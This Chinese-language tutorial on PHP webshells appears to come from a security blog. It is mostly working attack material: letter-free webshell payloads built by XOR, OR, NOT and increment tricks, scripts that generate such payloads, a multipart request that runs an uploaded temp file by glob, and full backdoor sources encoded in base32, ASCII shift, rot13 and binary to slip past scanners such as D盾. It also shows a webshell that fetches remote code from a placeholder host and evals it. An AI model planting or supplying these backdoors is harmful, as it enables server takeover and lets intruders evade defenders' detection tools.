Webshell
Webshell是一段恶意代码,攻击者可以通过文件上传等方式向网站植入恶意代码,如果代码写入成功,可以进行服务器管理、文件上下载等操作。
Webshell有很多种方式,有包含了各种恶意操作的攻击型大马,也有简短的一句话木马。最常见的Webshell,也是俗称的一句话木马:
<?
@eval($_POST['shell']);
在攻防中根据各种需求,衍生出了多种变体。
无字母 Webshell
无字母webshell是一种比较常见的打法了,基本原型就是对一下正则表达式进行绕过,直接说就是不能传入字母和数字:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
0x00 基础
PHP短标签
我们最常见的 PHP 标签就是 <?php ?>
了,但是 PHP 中还有两种短标签,即 <? ?>
和 <?= ?>
。当关键字 “php” 被过滤了之后,此时我们便不能使用 <?php ?>
了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号 ;
。
其中,<? ?>
相当于对 <?php ?>
的替换。而 <?= ?>
则是相当于 <?php echo ... ?>
。例如:
<?='Hello World'?> // 输出 "Hello World"
PHP 中的反引号
PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数:
<?php echo `ls /`;?> // Linux
<?php echo `dir`;?> // Windows
还可以使用 <?= ?>
短标签(比较灵活):
<?= `ls /`?> // Linux
<?= `dir`?> // Windows
通配符
先说一下原理:
- 在正则表达式中,
?
这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。 - 在 Shell 命令行中,
?
这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。
同理,我们可以知道 *
通配符:
- 在正则表达式中,
*
这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。 - 在shell命令行中,
*
这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。
所以,我们利用 ?
和 *
在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤,如下实例:
假设flag在/flag中:
cat /fla?
cat /fla*
假设flag在/flag.txt中:
cat /fla????
cat /fla*
假设flag在/flags/flag.txt中:
cat /fla??/fla????
cat /fla*/fla*
假设flag在flagg文件加里:
cat /?????/fla?
cat /?????/fla*
我们可以用以上格式的 Payload 都可以读取到flag。
PHP 5 和 PHP 7 的区别
- 在 PHP 5 中,
assert()
是一个函数,我们可以用$_=assert;$_()
这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()
变成了一个和eval()
一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)
- PHP5中,是不支持
($a)()
这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();
0x01 异或运算
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
例如,我们已知'%01'^'`'
,当这两个字符异或后可以得到字符a
那么我们可以通过修改%01来获得更多字符:
<?php
$_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`'); // $_='assert';
$__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
当然,如果在http中提交,就不需要再经过一层urldecode了。
?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
当然,这种攻击方法在PHP5中是可行的,如前面所说,在PHP7中,assert已经成为了一种语言结构,不支持这种调用方式。
异或构造脚本
首先运行以上 PHP 脚本后,会生成一个 txt 文档 xor_rce.txt,里面包含所有可见字符的异或构造结果,可以通过题目给的正则表达式修改正则。
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:
# -*- coding: utf-8 -*-
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
运行结果:
[+] your function:system
[+] your command:ls /
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");
0x02 或运算
与异或运算原理类似,通过两个非正则表达式过滤字符来构造或运算绕过。
或构造脚本
<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
首先运行以上 PHP 脚本后,会生成一个 txt 文档or_rce.txt,里面包含所有可见字符的或运算构造结果。
接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:
# -*- coding: utf-8 -*-
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
[+] your function:system
[+] your command:ls /
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f");
0x03 取反运算
取反原理和异或类似,也是运用了PHP字符串的位运算。
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}
的结果是"\x8c"
,其取反即为字母s
:
PHITHON的webshell:
$__=('>'>'<')+('>'>'<'); // $__=2, 利用PHP的弱类型的特点获取数字
$_=$__/$__; // $_=1
$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); // $____=assert
$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); // $_____=_POST
$_=$$_____; // $_=$_POST
$____($_[$__]); // assert($_POST[2])
payload:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
或:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___=瞰;$____.=~($___{$_});$___=和;$____.=~($___{$__});$___=和;$____.=~($___{$__});$___=的;$____.=~($___{$_});$___=半;$____.=~($___{$_});$___=始;$____.=~($___{$__});$_____=_;$___=俯;$_____.=~($___{$__});$___=瞰;$_____.=~($___{$__});$___=次;$_____.=~($___{$_});$___=站;$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
注意提交前需要先进行一次urlencode:
%24__%3D('%3E'%3E'%3C')%2B('%3E'%3E'%3C')%3B%24_%3D%24__%2F%24__%3B%24____%3D''%3B%24___%3D%22%E7%9E%B0%22%3B%24____.%3D~(%24___%7B%24_%7D)%3B%24___%3D%22%E5%92%8C%22%3B%24____.%3D~(%24___%7B%24__%7D)%3B%24___%3D%22%E5%92%8C%22%3B%24____.%3D~(%24___%7B%24__%7D)%3B%24___%3D%22%E7%9A%84%22%3B%24____.%3D~(%24___%7B%24_%7D)%3B%24___%3D%22%E5%8D%8A%22%3B%24____.%3D~(%24___%7B%24_%7D)%3B%24___%3D%22%E5%A7%8B%22%3B%24____.%3D~(%24___%7B%24__%7D)%3B%24_____%3D_%3B%24___%3D%22%E4%BF%AF%22%3B%24_____.%3D~(%24___%7B%24__%7D)%3B%24___%3D%22%E7%9E%B0%22%3B%24_____.%3D~(%24___%7B%24__%7D)%3B%24___%3D%22%E6%AC%A1%22%3B%24_____.%3D~(%24___%7B%24_%7D)%3B%24___%3D%22%E7%AB%99%22%3B%24_____.%3D~(%24___%7B%24_%7D)%3B%24_%3D%24%24_____%3B%24____(%24_%5B%24__%5D)%3B
0x04 截取自带函数/变量 + 自增
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中
https://www.php.net/manual/zh/language.operators.increment.php$a = 'Z'; $a++;
将把$a
变成'AA'
,而在 C 中,a = 'Z'; a++;
将把a
变成'['
('Z'
的 ASCII 值是 90,'['
的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
也就是说:
"A"++ ==> "B"
"B"++ ==> "C"
...
...
所以,只要我们能拿到一个变量,其值为 a
,那么通过自增操作即可获得 a-z
中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?我们发现,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array
。而 Array
的第一个字母就是大写 A,而且第4个字母是小写 a。也就是说我们可以同时拿到小写 a 和大写 A,那么我们就可以拿到 a-z
和 A-Z
的所有字母:
Webshell:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
简化:
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
执行的时候要进行一次 URL 编码,否则 Payload 无法执行。
http://127.0.0.1/?shell=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
0x05 更多的过滤
过滤_
绕过
前文中的下划线只是作为变量名存在,可以使用其他字符来替换下划线。
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
任何字符与 0xff 异或都会取相反,这样就能减少运算量了。注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用 {}
代替,原因是 PHP 的 use of undefined constant 特性。例如 ${_GET}{a}
这样的语句 PHP 是不会判为错误的,因为 {}
是用来界定变量的,这句话就是会将 _GET
自动看为字符串,也就是 $_GET['a']
。${_GET}{%ff}
后面那个 ()
为的是能够动态执行传入的 PHP 函数。
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即:
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo
如果想要执行代函数的函数比如 system('whoami')
,那我们可以对后面括号里的参数做相同的编码处理:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff^%88%97%90%9E%92%96);&%ff=system
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=readfile
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=highlight_file
// 即:
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('whoami');&%ff=system
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=readfile
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=highlight_file
同理,我们也可以直接进行取反:
${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo
${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system
此外,继承于上述原理,我们还可以直接使用反引号执行命令:
?><?=`{${~%A0%B8%BA%AB}{%ff}}`?>&%ff=whoami
分析下这个 Payload:
?><?=`{${~%A0%B8%BA%AB}{%ff}}`?>&%ff=whoami // 即: ?><?=`$_GET[%ff]`?>&%ff=whoami
最开头的 ?>
闭合了 eval() 函数自带的 <?
标签。接下来使用了短标签代替 <?php echo ... ?>
。{}
里面包含的 PHP 代码可以被执行,~%A0%B8%BA%AB
为 _GET
,最后将通过参数 %ff
传入的值使用反引号进行命令执行。
测试效果如下:
过滤分号;
绕过
无需担心,前面我们已经说了,PHP 短标签中的代码不需要写分号,所以我们直接把所有的 PHP 语句改成短标签形式就行了。
过滤$
绕过
如果过滤了 $
,那么像之前那些构造变量的方法全都不能用了。我们可以在不同版本的 PHP 环境中寻找突破。
PHP 7
在 PHP 7 中修改了表达式执行的顺序:
PHP 7 前是不允许用 ($a)();
这样的方法来执行动态函数的,但 PHP 7 中增加了对此的支持。所以,我们可以通过 ('phpinfo')();
的形式来执行函数,第一个括号中可以是任意 PHP 7 表达式。
所以很简单了,构造一个类似 ('phpinfo')();
这样的 PHP 表达式即可,前面我们也已经涉及到了:
// ('phpinfo')();
("%0b%13%0b%12%12%18%13"^"%7b%7b%7b%7b%7c%7e%7c")();
// ('system')('ls /');
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f");
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
PHP 5
在 PHP 7 中如果我们还使用 ('phpinfo')();
这样的 PHP 表达式则会得到一个报错,原因就是 PHP 5 并不支持这种表达方式。所以,如果也过滤了 $
的话,对于 PHP 5 环境的利用方法就很复杂了。
利用临时文件包含:
- Linux Shell 下可以利用
.
来执行任意脚本 - Linu x文件名支持用 Glob 通配符进行代替
在 Linux Shell 中 .
的作用和 source
一样,就是在当前 Bash 环境下读取并执行一个文件中的命令。比如,当前运行的 Shell 是 Bash,则 . file
的意思就是用当前 Bash 执行 file 文件中的命令。并且用 . file
执行文件,是不需要 file 文件有x权限的。
那么,如果目标服务器上有一个我们可控的文件,那我们不就可以利用 .
来执行它了吗?这个文件也很好得到,我们可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的临时文件保存在临时文件夹下,默认的文件名是 /tmp/phpXXXXXX
,文件名最后 6 个字符是随机的大小写字母。(其实这个知识点在 CTF 中也频繁出镜,比如文件包含中的利用等)
第二个难题接踵而至,临时文件 . /tmp/phpXXXXXX
的命名是随机的,那我们该如何去找到他名执行呢?此时就可以用到 Linux 下的 Glob 通配符:
*
:可以匹配 0 个及以上任意字符?
:可以匹配 1 个任意字符
那么,/tmp/phpXXXXXX
就可以表示为 /*/?????????
或 /???/?????????
了。但是在真正操作起来的时候我们会发现这样通常并不能成功的执行文件,而是会报错,原因就是这样匹配到的文件太多了,系统不知道要执行哪个文件。如果没有限制字母的话我们完全可以使用 /???/php??????
来提高匹配几率,但是题目限制的就是字母数字,所以我们的想别的办法。
根据 PHITHON 师傅的文章,最后我们可以采用的 Payload 是:
. /???/????????[@-[]
最后的 [@-[]
表示ASCII在 @
和 [
之间的字符,也就是大写字母,所以最后会执行的文件是 /tmp 文件夹下结尾是大写字母的文件。这是因为匹配到的所有的干扰文件的文件名都是小写,唯独 PHP 生成的临时文件最后一位是随机的大小写字母。
最后给出一个 Payload:
POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 109
----------123
Content-Disposition:form-data;name="file";filename="1.txt"
#!/bin/sh
ls /
----------123--
Webshell 免杀
Webshell查杀工具,比较常见的有D盾、Webdir+、河马,还有各种安全公司研发的各种工具等等。其查杀原理大同小异,主要还是利用正则表达式,通过对目标文件的特征与网马规则库进行比对;当然,近年来也有一些对沙盒研究、词频分析等相对准确的查杀方式研究。
这里主要用了Webdir+以及比较熟知的D盾来进行研究,当然,这里只是记录一些免杀的思路,毕竟随着每次规则库的更新,Webshell的免杀可能不再具有时效性。
0x01 查杀一句话木马
我们先来试试最简单的webshell:
值得注意的是D盾会给每个可疑文件打分,分值由1到5,5代表威胁登记最高。
可以看到直接查杀了eval后门。比较简单的一些shell结构很难绕过例如D盾这样的Webshell查杀工具,这就需要整活大师们来整点“花里胡哨”的Webshell。
0x02 随机生成字符串
分析
这是免杀中最常见的绕过查杀技巧之一。
举个例子,当你使用shell或者cmd做变量名时,你甚至都绕不过人眼查杀;不管怎么说,使用变量名DFBGERTU绕过查杀的概率总比shell大得多。
不过在Webshell查杀工具中,查杀通常通过特征匹配来进行绕过,变量名或者变量函数命名不会在查杀中占用太大的比例。
0x03 关键字混淆
分析
关键字混淆的方式有很多种,例如利用字符串拼接,PHP臭名昭著的动态拼接变量。
编解码、加解密在关键字混淆中也占有一定的比例,在下面会展开讲。
在eval函数中加入注释,可以混淆探测。
0x04 废物堆砌
分析
在基于特征查杀的Webshell查杀工具中,利用大量无用函数以及变量名的堆砌可以有效降低威胁等级,甚至绕过查杀。
例如,在正则型查杀中,通常可以通过创建一个类,利用类的构造函数来执行代码,来通过混淆;而在沙盒查杀中比较难做到。
例如,当你加入一堆无用变量时:
<?php
class pure
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($a,$b) {
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
}
?>
你甚至可以很愉快的绕过D盾,虽然删去无用代码后你的D盾会报5级警告。
0x03 加密
比较容易想到的绕过方式就是通过编解码/加解密的方式绕过,比如我们常见的BASE64,但是这种单可逆的编解码是绕不过D盾的,甚至会进行误杀。
为了绕过检测,我们需要自定义加解密方式,例如base编码全家桶、自定义ascii移位,甚至是对称加密算法等都是可以绕过这类规则检测。
base32 payload
有一个现成的Github仓库,可以方便的生成各种免杀木马。
<?php
class RHJB{
public $QGWR = null;
public $JUOG = null;
function __construct(){
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
$this->QGWR = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->JUOG = @BKDN($this->QGWR);
@eval("/*QALITPz*/".$this->JUOG."/*QALITPz*/");
}}}
new RHJB();
function LWYI($VXQG){
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$NOCA = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($VXQG); $i < $j; $i++){
$v <<= 8;
$v += ord($VXQG[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$NOCA .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);}}
if ($vbits > 0){
$v <<= (5 - $vbits);
$NOCA .= $BASE32_ALPHABET[$v];}
return $NOCA;}
function BKDN($VXQG){
$NOCA = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($VXQG); $i < $j; $i++){
$v <<= 5;
if ($VXQG[$i] >= 'a' && $VXQG[$i] <= 'z'){
$v += (ord($VXQG[$i]) - 97);
} elseif ($VXQG[$i] >= '2' && $VXQG[$i] <= '7') {
$v += (24 + $VXQG[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8){
$vbits -= 8;
$NOCA .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);}}
return $NOCA;}
?>
ASCII码移位payload
<?php
class FKPC{
function __construct(){
$this->TQYV = "bs^i%!\MLPQXwbolZ&8";
$this->WZDM = @HHGJ($this->TQYV);
@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
}}
new FKPC();
function HHGJ($UyGv) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
$svfe[] = chr((ord($f[$i])+3));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>
Rot13加密payload
<?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'riny($_CBFG[mreb]);';
$this->LRXV = @str_rot13($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
?>
二进制转化payload
<?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';
$this->LRXV = @BinToStr($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function BinToStr($str){
$arr = explode(' ', $str);
foreach($arr as &$v){
$v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));
}
return join('', $arr);
}
?>
分析
如果只是单纯的使用正则表达式探测类似的webshell,几乎是很难找到其中的规律,其中换一个加密方式、编解码方式、甚至变量生成方式都能给Webshell的正则表达式探测增加难度。当然,这种加密方式用人眼都能看出来有问题就是了,但是如果探测,恐怕免杀探测工具还需要有很长的一段路要走。
0x04 http/dns外带
一种利用外带技巧,通过HTTP等方式获取远程的文本文件等,来绕过对关键字的审计。
<?php
class KUYE{
public $a = 'yshasaui';
public $b = '';
function __construct(){
$url = "http://xxx.xxx.xxx.xxx/1.txt";
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
$this->b = $body;
@eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");
}}
new KUYE();
?>
分析
这种技巧通常也在无回显命令执行中进行命令外带,只不过一种是执行命令获得回显,另一种是通过获得回显执行命令。
这种Webshell已经不在意对关键字的审计了(因为关键字根本就不在文件上),但是仔细看还是可以找到端倪。这种Webshell的本质就是通过对远程文件的读取$fp = fopen($url, 'r');
并且对其中内容进行执行,查杀可以通过查杀类似的文件读写执行函数来实现。
